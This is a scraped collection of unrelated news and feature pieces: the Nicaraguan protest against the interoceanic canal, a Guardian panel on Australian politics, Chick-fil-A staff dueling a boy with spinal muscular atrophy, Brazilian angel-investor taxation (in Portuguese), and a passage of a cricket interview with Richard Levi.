Ortega said they asked for a chance to dialogue with the government after the $50 billion project was rushed through the Nicaraguan legislature in a scant three days and without consulting the public.
“The people’s response is to demonstrate because they never gave the government a blank check so they could sell these properties. Every day the people’s frustration grows,” he said.
Ortega said that if the government will not meet with them to address their concerns about the canal project, which broke ground in December 2014, they would threaten a peaceful general strike.
Along with reaching out to CELAC leaders this week, the delegation is working to collect 1 million signatures from across Nicaragua to send to Pope Francis.
Ortega said that some efforts to collect signatures against the project have been hampered by hopes that the canal will bring the jobs that President Daniel Ortega has long promised.
Molina added that besides the environmental damage the dredging of Lake Nicaragua would cause, the project’s aims were unrealistic.
“The government media is saying that the canal is a panacea that’s going to raise us out of poverty [and] create jobs,” she said. “It’s creating an expectation that it’s never going to live up to.”
The delegation said they still supported many aspects of the canal project, including the construction of two large ports and an interoceanic railroad, but added that the freshwater of Lake Cocibolca was more important than any canal.
Said Molina: “There’s still time to save Lake Nicaragua.”Point of order on the grounds of weirdness. From the Senate to the House of Reps, Australian politics just keeps getting stranger, thanks to leaks, spills and other hazardous accidents. Join the Guardian’s Bridie Jabour in conversation with political editors Mark Di Stefano from BuzzFeed, the ABC’s Chris Uhlmann, long-time political reporter Steve Lewis and writer Jeff Sparrow as they recount – and attempt to explain – some of the latest goings-on in Canberra and beyond.
Bridie Jabour (Australian) Bridie Jabour is assistant news editor at The Guardian Australia where she also writes features and comment. She co-hosts The Guardian podcast Behind the Lines and has covered politics in Queensland, New South Wales and Canberra. Bridie has a Walkley Award at home that is used as a bottle opener, but it doesn't have her name on it.A Georgia boy with spinal muscular atrophy may have been excluded from a lightsaber showdown with other kids, but he got "A New Hope" in the form of kind-hearted Chick-fil-A employees.
Two workers at the chicken chain saved the day when they offered to duel the 8-year-old instead.
Read: Girl, 14, With Spinal Muscular Atrophy Decides to End Her Life: 'This Is Enough Pain'
The owner of the Columbus Chick-fil-A, Alex Vann, told InsideEdition.com that every few months, their store hosts themed nights for the community. Last Friday, the store hosted "Galaxy Night," inviting families to enjoy a night of face painting, lightsaber duels, and fun.
Kari Merriken told InsideEdition.com she was watching her son Caleb participate in the activities when she noticed him approach a group of boys to play, and was asked to leave.
"When my son asked some boys in the play area if he could join them, the response was, 'No, we're good,'" she wrote on her Facebook.
Instead, little Caleb asked his mom to play.
"As a mom, it breaks your heart," she said. "So I dove over there to get one of the lightsabers."
As she asked a volunteer at the event for a lightsaber, she explained what happened before getting ready to play with her son.
"The next thing I know, out comes Darth Vader," Merriken said. "They said something like, 'We heard you can't find any worthy opponents,' and they started battling with him."
"[I was] just trying to make a good experience for everybody," said Derek Rains, the man pictured on the left of the photo that has since gone viral. "I grabbed my lightsaber and played around with him, and let him defeat us. He's a sweet kid."
Vann said, "I'm super proud of our team for being aware there are folks that do have some needs. We can really bring a remarkable experience for somebody."
See more from this story:
4 PHOTOS Chick-fil-A workers go above and beyond for boy in wheelchair See Gallery Chick-fil-A workers go above and beyond for boy in wheelchair Chick-fil-A workers go above and beyond for young Ga. customer (Photo credit: INSIDE EDITION) Chick-fil-A workers go above and beyond for young Ga. customer (Photo credit: INSIDE EDITION) Chick-fil-A workers go above and beyond for young Ga. customer (Photo credit: INSIDE EDITION) Chick-fil-A workers go above and beyond for young Ga. customer (Photo credit: INSIDE EDITION) Up Next See Gallery Discover More Like This HIDE CAPTION SHOW CAPTION of SEE ALL BACK TO SLIDE
Read: Brain Computer Chip Allows Paralyzed Man to Play Guitar Hero With His Hands
The duel only lasted only 5 or 10 minutes, Merriken said the gesture was enough to brighten the rest of her son's day.
"It happens to all kids, we've all experienced it. It's a little harder when you have a kid with special needs," she said. "It could have been a bad experience [but] I remember him telling somebody after the event, 'I battled Darth Vader and my Jedi instructor.'"
August is Spinal Muscular Awareness month. To find out more about the disease, visit www.curesma.org.
Watch: Seven-Year-Old 'Star Wars' Fan Asks George Lucas to Allow Jedis to Marry, And Got An AnswerNatalia Viri
Os investidores-anjo — as pessoas físicas que fornecem capital a startups — acharam uma recente instrução normativa da Receita uma coisa do demônio.
A partir de agora, a alíquota para este tipo de investimento varia de 22,5% a 15%, dependendo do prazo (de seis meses a dois anos), e vale tanto para dividendos quanto para a venda de participação.
Trata-se da mesma fórmula aplicada aos investimentos em renda fixa. Em outras palavras: na prática, a Receita está equiparando o capital semente — um investimento arriscado e produtivo — a uma aplicação em CDB.
A notícia foi um balde de água fria para o mercado de venture capital brasileiro, que lutava há meses por um tratamento fiscal que estimulasse os financiamentos, a exemplo do que já acontece em outros setores da economia e diversos países do mundo.
“Trabalhamos muito para mostrar à Receita durante o período de consulta pública que não se tratava de uma renúncia fiscal, porque o investimento-anjo aumenta a arrecadação. Mas não houve diálogo”, diz Cássio Spina, diretor da Anjos do Brasil, associação que representa investidores.
A nova tributação logo depois do governo ter feito avanços para aumentar a segurança jurídica dos investidores.
Aprovada no Congresso em outubro e sancionada em dezembro, a Lei Complementar 155 — batizada de “Crescer Sem Medo” — reformou as regras para o acesso das empresas ao Simples e, na esteira, regulamentou a figura do investidor-anjo, estabelecendo seus direitos e obrigações frente aos empreendedores.
A principal mudança trazida pela lei foi a distinção do investimento-anjo de uma participação societária comum. O investidor agora pode fazer um aporte sem se tornar acionista, por meio de um contrato de participação específico. “Com isso, o investidor-anjo não pode, por exemplo, ser acionado para pagar uma dívida trabalhista ou fiscal”, diz Renato Coelho, advogado do escritório Stocche Forbes.
Antes da lei, o capital semente normalmente entrava nas empresas por meio de um empréstimo mútuo conversível em ações. O investidor empresta o dinheiro e pode receber o pagamento ou convertê-lo em participação acionária mediante condições pré-determinadas — por exemplo, quando a companhia começa a faturar ou dar lucro.
Neste caso, quando o mútuo é convertido em ações, o acionista recebe dividendos isentos de imposto. Ao vender sua participação, ele paga uma alíquota progressiva de imposto por ganho de capital, que vai de 15% para ganhos até R$ 5 milhões a 22,5% para ganhos acima de R$ 30 milhões.
Agora, a instrução da Receita tributa todos os rendimentos como renda fixa, tanto os dividendos quanto o ganho de capital na venda.
“Em janelas de compra e venda de menos de dois anos, para ganhos menores do que R$ 5 milhões, a alíquota é maior no novo contrato de participação via investimento-anjo do que no mútuo”, diz o presidente do Sebrae, Guilherme Afif Domingos. A entidade divulgou nota lamentando a decisão da Receita.
“Na prática, o que vai acontecer é que os anjos vão continuar adotando contratos de mútuo, em vez dos contratos de participação previstos na Lei 155. Perdeu-se uma boa oportunidade de diminuir o risco, incentivar o empreendedorismo e a inovação”, diz Spina, da Anjos do Brasil.
O deputado Otávio Leite, do PSDB do Rio, que já tinha trabalhado na lei que regulamentou os anjos, entrou nesta semana com um projeto de decreto legislativo para suspender a instrução da Receita e abrir uma audiência pública sobre o tema.
O que os anjos querem é a equiparação a outros tax breaks que já favorecem outros investimentos. Por exemplo: quem compra ações de empresas com pequeno valor de mercado listadas na B3 goza de isenção de IR sobre ganho de capital. (O valor de mercado tem que ser menor que R$700 milhões e a receita bruta anual, inferior a R$500 milhões)
Os financiamentos à agricultura e à construção civil também contam com isenção para as Letras de Crédito Agrícola (LCA) e Letras de Crédito Imobiliário (LCIs), por exemplo — sem falar nas debêntures de infraestrutura.
Outro pedido é um mecanismo de compensação de perdas e ganhos semelhante ao que existe para investimentos em Bolsa: o prejuízo com um aporte mal sucedido deveria reduzir o imposto a ser pago com os ganhos numa startup que deu certo.
A Anjos do Brasil também quer abater parte do investimento em impostos devidos, como já acontece no Reino Unido. Por lá, além da isenção fiscal, 70% do total aportado por investidores-anjo pode ser compensado em tributos. França, Portugal e Itália têm incentivos na mesma linha.
Nos Estados Unidos, diversos estados também oferecem compensação de imposto, em taxas que variam de 10% a 100% do total investido.
Um estudo elaborado pela firma de consultoria Grant Thornton mostra que cada R$ 1 investido em startups no Brasil gera, pelo menos, R$ 2,50 em impostos, além de empregos qualificados e renda para a sociedade.
De acordo com a Anjos do Brasil, o capital semente investiu R$ 851 milhões no Brasil no ano passado. O tíquete médio foi de R$ 120 mil num universo de 7 mil investidores.
Um projeto de lei de 2014, de autoria do senador Agripino Maia, prevê isenção fiscal para investimento em startups. O texto prevê a dedução de 20% do valor integralizado limitado a R$ 80 mil por ano, sendo aplicável, portanto, para investimentos de até R$ 400 mil.
Mas o Congresso não tem pressa: o projeto — que já tem parecer favorável do relator Ricardo Ferraço — está parado na Comissão de Assuntos Econômicos (CAE) há pelo menos um ano e meio.
Siga o Brazil Journal no Instagram e assine nossa newsletter aqui embaixo.South Africa's Richard Levi talks about batting with Sachin Tendulkar, and ranks himself on dressing-room messiness
When Richard Levi wants to know about R Ashwin, who's he going to call? © AFP
Assess your international career.
Brief but hopefully not finished.
Talk us through your 117 not out against New Zealand.
It was a bit of a blur, if I'm honest. People say, "What do you remember?" And the answer is, "Not much!" It was one of those days where everything seemed to come off for me. I was a bit lucky in that there was an lbw shout which was the umpire's call, I could have been run out and I missed a yorker. I had no idea how many balls I'd faced.
You have played cricket all around the world. Where's the best?
It has to be South Africa - and Newlands. Nothing beats that.
Which crowd is the loudest you have played in front of?
The Wankhede Stadium in Mumbai.
What is it like to bat with Sachin Tendulkar?
Completely apart from anything I've ever experienced before. No matter how well you do, all the crowd are there to watch him. The way he reads the game is something totally different. It's incredible.
What is the best thing he ever told you?
I was making my IPL debut in 2012 against Chennai Super Kings. Sachin told me the first six variations, in order, that R Ashwin was going to bowl. All six were right.
Is AB de Villiers a man or a machine?
If he was a machine, he'd come off every time! I'll go with a bit of both.
Are we close to the day someone scores 200 in a T20 match?
I don't think it's far off. Games are at rugby fields now, with short straight boundaries. People are hitting 150s and 160s when it just comes off. I don't think it'll be too long until someone hits 200.
Which cricketer in the world would you pay to see?
Brendon McCullum.
Levi: McCullum fan © Associated Press
You have to select a World T20 XI. Who would be the first name on the team sheet?
Sunil Narine.
Which of your team-mates - past or present - is the messiest in the dressing room?
I'll have to admit that could be me. Or maybe David Murphy. His kit goes everywhere.
Who is last at the bar to buy a round of drinks?
Chris Morris, for South Africa, or Ben Duckett at Northants.
Who would you least like to be stuck in a lift with?
Dane Vilas at Cape Cobras. He wouldn't be able to sit still. He'd waste all the oxygen.
Who spends the most time in front of the mirror?
Rob Keogh.
A book is written about your life. What would it be called?
Memories of a Lumberjack.
Describe yourself in three words.
Square, hairy, soft.
Which team-mate would fail an IQ test?
Ben Duckett.
Who is the laziest player in training?
Adam Rossington.
Who is the most naturally gifted player you have ever played with?
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